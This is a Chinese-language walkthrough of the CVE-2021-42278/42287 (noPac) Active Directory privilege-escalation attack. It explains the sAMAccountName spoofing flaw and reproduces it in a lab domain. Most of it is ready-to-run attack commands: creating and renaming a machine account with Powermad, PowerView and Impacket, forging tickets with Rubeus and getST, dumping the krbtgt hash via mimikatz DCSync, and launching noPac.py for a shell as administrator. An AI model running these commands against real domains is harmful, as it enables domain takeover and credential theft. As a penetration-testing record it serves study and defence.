原理
CVE-2021-42278,机器用户应当是 COMUPTER$
的形式,但是实际并没有验证机器账号是否有 $
。导致机器用户名可以被模拟冒用
CVE-2021-42287,使用 COMPUTER 的 TGT 通过另一个用户去请求 COMPUTER 自己的 ST 时,将 TGT 发送给 KDC 后,当 KDC 找不到 COMPUTER 时,KDC 会再次寻找 computer$
的 ST,从而获得了 computer$
的 ST。从而获得了 computer$
的权限
利用条件:需要对属性 sAMAccountName
and servicePrincipalName
有写权限
可以利用域内默认的 MAQ 特性,默认允许域账户创建 10 个机器账户,而创建者对于机器账户具有写权限
查看 MAQ 是否有限制,查看 LDAP 中的 ms-ds-machineaccountquota 属性
攻击流程:
创建一个机器账户,这在之前的文章都有所提及,使用 impacket 的
addcomputer.py
或是powermad
。addcomputer.py
是利用SAMR 协议
创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除清除机器账户的
servicePrincipalName
属性将机器账户的
sAMAccountName
,更改为 DC 的机器账户名字,注意后缀不带$为机器账户请求 TGT
将机器账户的
sAMAccountName
更改为其他名字,不与步骤 3 重复即可通过 S4U2self 协议向 DC 请求 ST
DCsync
示例
假如域内有一台域控名为 DC(域控对应的机器用户为 DC$
),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$
,再把机器用户 SAMTHEADMIN-48$
的 sAMAccountName
改成 DC
然后利用 DC
去申请一个 TGT 票据。再把 DC
的 sAMAccountName
改为 SAMTHEADMIN-48$
。这个时候 KDC 就会判断域内没有 DC
这个用户,自动去搜索 DC$
(DC$
是域内已经的域控 DC 的 sAMAccountName
),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器 DC 的权限
复现
检测漏洞是否存在
这里利用 https://github.com/Ridter/noPac 中的 scaner.py 来检测
可以看到可以请求不包含 PAC 的 TGT,所以该域控可以被攻击
手工复现
这里使用 了 powermad
和 PowerView
脚本
创建机器账户
$password = ConvertTo-SecureString '1qaz2wsx' -AsPlainText -Force
New-MachineAccount -MachineAccount "NewEvilMachine" -Password $($password) -Domain "merak.local" -DomainController "DC.merak.local" -Verbose
清除新建机器账户的 SPN
Set-DomainObject "CN=NewEvilMachine,CN=Computers,DC=merak,DC=local" -Clear 'serviceprincipalname' -Verbose
修改机器账户的用户名为域控的用户名,注意不带 $
Set-MachineAccountAttribute -MachineAccount "NewEvilMachine" -Value "DC" -Attribute samaccountname -Verbose
请求 TGT
Rubeus.exe asktgt /user:"DC" /password:"1qaz2wsx" /domain:"merak.local" /dc:"DC.merak.local" /nowrap
恢复机器账户原用户名
Set-MachineAccountAttribute -MachineAccount "NewEvilMachine" -Value "NewEvilMachine" -Attribute samaccountname -Verbose
使用请求的 TGT 通过 S4U2self 获取 ST
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/DC.merak.local" /dc:"DC.merak.local" /ptt /ticket:[Base64 TGT]
验证
DCSync
mimikatz.exe "lsadump::dcsync /domain:merak.local /kdc:DC.merak.local /user:krbtgt" "exit"
Impacket
创建机器账户
python addcomputer.py -dc-ip 10.0.100.10 -computer-name 'ImpacketEvilMachine$' -computer-pass '1qaz2wsx' -dc-host DC -domain-netbios DC 'merak.local/xzz:Password123'
清除 SPN
addspn.py 出自 https://github.com/dirkjanm/krbrelayx
python addspn.py -u 'merak\xzz' -p 'Password123' -t 'ImpacketEvilMachine$' -c DC.merak.local
修改机器账户用户名
https://github.com/ShutdownRepo/impacket/blob/CVE-2021-42278/examples/renameMachine.py
python renameMachine.py -current-name 'ImpacketEvilMachine$' -new-name 'DC' -dc-ip 'DC.merak.local' 'merak.local/xzz:Password123'
请求 TGT
python getTGT.py -dc-ip 'DC.merak.local' 'merak.local/DC:1qaz2wsx'
恢复机器账户用户名
python renameMachine.py -current-name 'DC' -new-name 'ImpacketEvilMachine$' -dc-ip 'DC.merak.local' 'merak.local/xzz:Password123'
使用请求的 TGT 通过 S4U2self 获取 ST
export KRB5CCNAME='DC.ccache'
python getST.py -impersonate 'administrator' -spn 'cifs/DC.merak.local' -k -no-pass -dc-ip 'DC.merak.local' 'merak.local/DC'
失败,原因暂未可知
附一个成功的截图
noPac
https://github.com/Ridter/noPac
python noPac.py merak.local/zs:'Password123' -dc-ip DC.merak.local -shell --impersonate administrator